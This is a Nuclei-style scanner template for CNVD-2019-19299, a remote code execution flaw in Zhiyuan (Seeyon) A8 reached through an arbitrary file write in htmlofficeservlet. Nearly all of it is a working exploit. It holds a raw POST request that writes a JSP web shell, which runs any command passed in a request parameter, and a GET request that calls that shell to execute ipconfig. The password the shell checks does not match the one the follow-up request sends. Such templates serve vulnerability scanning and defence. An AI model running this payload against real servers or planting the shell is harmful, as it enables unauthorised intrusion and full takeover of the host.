53 lines
2.6 KiB
YAML
53 lines
2.6 KiB
YAML
id: CNVD-2019-19299
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info:
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name: Zhiyuan A8 - Remote Code Execution
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author: daffainfo
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severity: critical
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description: Zhiyuan A8 is susceptible to remote code execution because of an arbitrary file write issue.
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reference:
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- https://www.cxyzjd.com/article/guangying177/110177339
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- https://github.com/sectestt/CNVD-2019-19299
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10
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cwe-id: CWE-77
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metadata:
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max-request: 2
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tags: cnvd2019,cnvd,zhiyuan,rce,intrusive
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http:
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- raw:
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- |
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POST /seeyon/htmlofficeservlet HTTP/1.1
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Host: {{Hostname}}
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Pragma: no-cache
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Cache-Control: no-cache
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Upgrade-Insecure-Requests: 1
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q =0.8,application/signed-exchange;v=b3
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Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
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Connection: close
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DBSTEP V3. 0 343 0 658 DBSTEP=OKMLlKlV
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OPTION=S3WYOSWLBSGr
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currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
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= WUghPB3szB3Xwg66 the CREATEDATE
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recordID = qLSGw4SXzLeGw4V3wUw3zUoXwid6
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originalFileId = wV66
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originalCreateDate = wUghPB3szB3Xwg66
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FILENAME = qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdb4o5nHzs
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needReadFile = yRWZdAS6
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originalCreateDate IZ = 66 = = wLSGP4oEzLKAz4
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<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder ();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine( )) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString() ;} %><%if("x".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("{{randstr}}"))){out.println("<pre>" +excuteCmd(request.getParameter("{{randstr}}")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
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- |
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GET /seeyon/test123456.jsp?pwd=asasd3344&{{randstr}}=ipconfig HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- 'status_code_2 == 200'
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- 'contains(body_1, "htmoffice operate")'
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- 'contains(body_2, "Windows IP")'
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condition: and
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# digest: 4a0a004730450221009360315ece75ec5c9316007a233b61043694e13c5a244b98a6cd82b66123830302203191ef9220a5dce44e15568f6ae55424d1e76df6e730da4681b468967c70d4d6:922c64590222798bb761d5b6d8e72950 |